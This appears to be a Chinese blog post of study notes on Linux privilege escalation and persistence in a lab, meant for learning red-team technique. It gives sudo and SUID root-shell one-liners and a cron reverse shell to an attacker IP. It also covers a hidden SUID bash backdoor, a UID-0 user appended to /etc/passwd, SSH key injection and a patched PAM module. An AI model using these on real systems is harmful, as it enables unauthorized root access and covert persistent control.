首页 > 系统相关 >13.Linux权限提升与维持

13.Linux权限提升与维持

时间:2023-03-26 20:14:53浏览次数:67  
标签:13 pam 提权 Linux 权限 root find

Linux权限提升与维持

目录

Linux权限提升(Privilege Escalation)

1、内核漏洞提权

Linux内核版本:

https://www.kernel.org

CVE内核漏洞:

https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33

2、内核漏洞

Dirty COW (CVE-2016-5195)

Dirty Pipe (CVE-2022-0847)

Dirty Cred (CVE-2022-2588)

Linux Polkit (CVE-2021-4034)

Linux查看发行版本和内核版本:

命令:uname -a (查看centos内核版本)

用kali中的msfconsole版本漏洞查询

例子:searchsploit ubuntu 16.04

用find / -name "xxx"找文件

例子:find / -name "40871.c"

2、SUDO提权

SUDO=Super User Do(以root身份运行程序)

配置文件:/etc/sudoers

编辑方法(root):visudo

用户或用户组 提权到什么级别

​ wuya ALL = (root) NOPASSWD:/bin/chown,/usr/sbin/useradd

​ 在哪些主机上 是否需要输入密码

创建一个组:groupadd security

在security组中创建一个用户:useradd -g security yyy

给yyy用户设置密码:passwd yyy

用户文件:/etc/passwd

密码文件:/etc/shadow

给yyy用户授权:visudo里面去添加yyy ALL=ALL ALL

yyy用户需要用sudo加命令才能执行

提权命令:

查看当前用户有哪些sudo权限:sudo -l

SUDO使用:

(1)sudo passwd root

(2)sudo service ssh restart

相关命令:

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

(1)sudo find /home -exec /bin/bash ;注意bash后面有一个空格

(2)sudo awk 'BEGIN{system("/bin/bash")}'

3、SUID提权

SUID=Set UID

(以程序所有者身份运行程序)

例如:普通用户怎么修改/etc/shadow中的密码?

因为/usr/bin/passwd文件有s权限。而拥有s权限的文件任何用户都可以以文件所有者身份运行程序。

给文件加s权限的代码:chmod u+s /usr/bin/find

find 1.txt -exec whoami ;

sudo find . -exec /bin/sh ;

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、weget

搜索有s权限的程序(不同平台):

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

3、第三方服务提权

Redis、NFS、MySQL、Docker、Git....

4、提权辅助脚本

Linux-exploit-suggester

https://github.com/mzet-/linux-exploit-suggester

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

https://github.com/jondonas/linux-exploit-suggester-2

chmod +x linux-exploit-suggester-2.pl

perl linux-exploit-suggester-2.pl

LinEnum

https://github.com/rebootuser/LinEnum

chmod +x /tmp/linEnum.sh

sh /tmp/LinEnum.sh > /tmp/getinfo.txt

Linux权限维持

1、在电脑上保留webshell以便以后连接
2、定时任务

​ crontab -e 打开定时任务文件bash

​ crontab -u root -r 删除

​ crontab -u root -l 查看

​ crontab -u root -e 修改

测试

kali中监听7777端口:nc -lvvp 7777

CentOS写入任务:

* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&1
3、SUID后门

root用户:

cp /bin/bash /var/.hack

chmod 4775 /var/.hack

ls -al /var/.hack

普通用户:

/var/.hack -p

4、SSH Key免密登录

生成和查看(kali攻击机):

ssh-keygen -t rsa

cd /root/.ssh

cat id_rsa.pub

写入(CentOS服务机):

vim /root/.ssh/authorized_keys

kali连接CentOS:

ssh [email protected]

5、添加用户

生成密码:

openssl passwd -1 -salt admin 123456

-1的意思是使用md5crypt加密算法

-salt 指定盐为admin

追加(UID=0):

echo 'admin:xxx:0:0::/root:/bin/bash' >> /etc/passwd

kali连接:

ssh [email protected]

6、PAM后门(先做快照)

下载编译

rpm -qa|grep pam

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

tar -zxvf Linux-PAM-1.1.8.tar.gz

yum install gcc flex flex-devel -y

cd Linux-PAM-1.1.8

vim modules/pam_unix/pam_unix_auth.c

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh [email protected]

7、其他后门

红队实战攻防技术分享:Linux后门总结

https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q

标签:13,pam,提权,Linux,权限,root,find
From: https://www.cnblogs.com/candada/p/17259333.html

相关文章

  • Linux的诞生过程
    目录 前言:一.Linux是什么 二.诞生过程三.启动流程 前言:本篇文章介绍了Linux的诞生过程和用处一.Linux是什么Linux操作系统是基于UNIX操作系统发展而来的一种克隆系统,它诞......
  • 云计算8班 向帅 Linux
                                                Linux中/etc下面passwd和shado......
  • Linux2
    1root:x:0:0:root:/root:/bin/bash   2bin:x:1:1:bin:/bin:/sbin/nologin   3daemon:x:2:2:daemon:/sbin:/sbin/nologin   4adm:x:3:4:adm:/var/adm......
  • Linux中/etc下面passwd和shadow文件介绍
    1./etc/passwd  1.(1)用户名:用户登录时使用的名称,通常由字母、数字和符号组成,用户名必须是唯一的(2) 口令: Linux系统中的用户口令经加密后都保存在/etc/ shadow......
  • Archlinux个人生存手册.md
    Archlinux个人生存手册​ 前两天(2023年03月22日)Gnome44发布,心心念念的想着能体验一把。但奈何更新不给力,可能有Manjaro有点商业版的意思,顺便一直想着能用上磁盘加密和TPM2......
  • mysql 8.0如何创建用户并赋予权限?
    下面1,2,3命令都是在mysql里面敲,4是在linux敲1.创建用户createuser'liqi'@'%'identifiedby'liqi1234';参数说明:%代表通配所有host地址权限(可远程访问)by后......
  • linux三剑客之sed详解
    1.什么是sedsed是streameditor的简写,也就是流编辑器的意思,可不要看做seed(种子)哦,Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等2.新手入门......
  • 力扣 131. 分割回文串
    131.分割回文串给你一个字符串 s,请你将 s 分割成一些子串,使每个子串都是 回文串 。返回 s 所有可能的分割方案。回文串 是正着读和反着读都一样的字符串。......
  • Linux中/etc下面passwd和shadow文件介绍
    Linux/etc/passwd内容Linux系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。[root@localhost~]#......
  • Linux
    1.Linux/etc/passwd内容解释Linux系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。首先我们来打......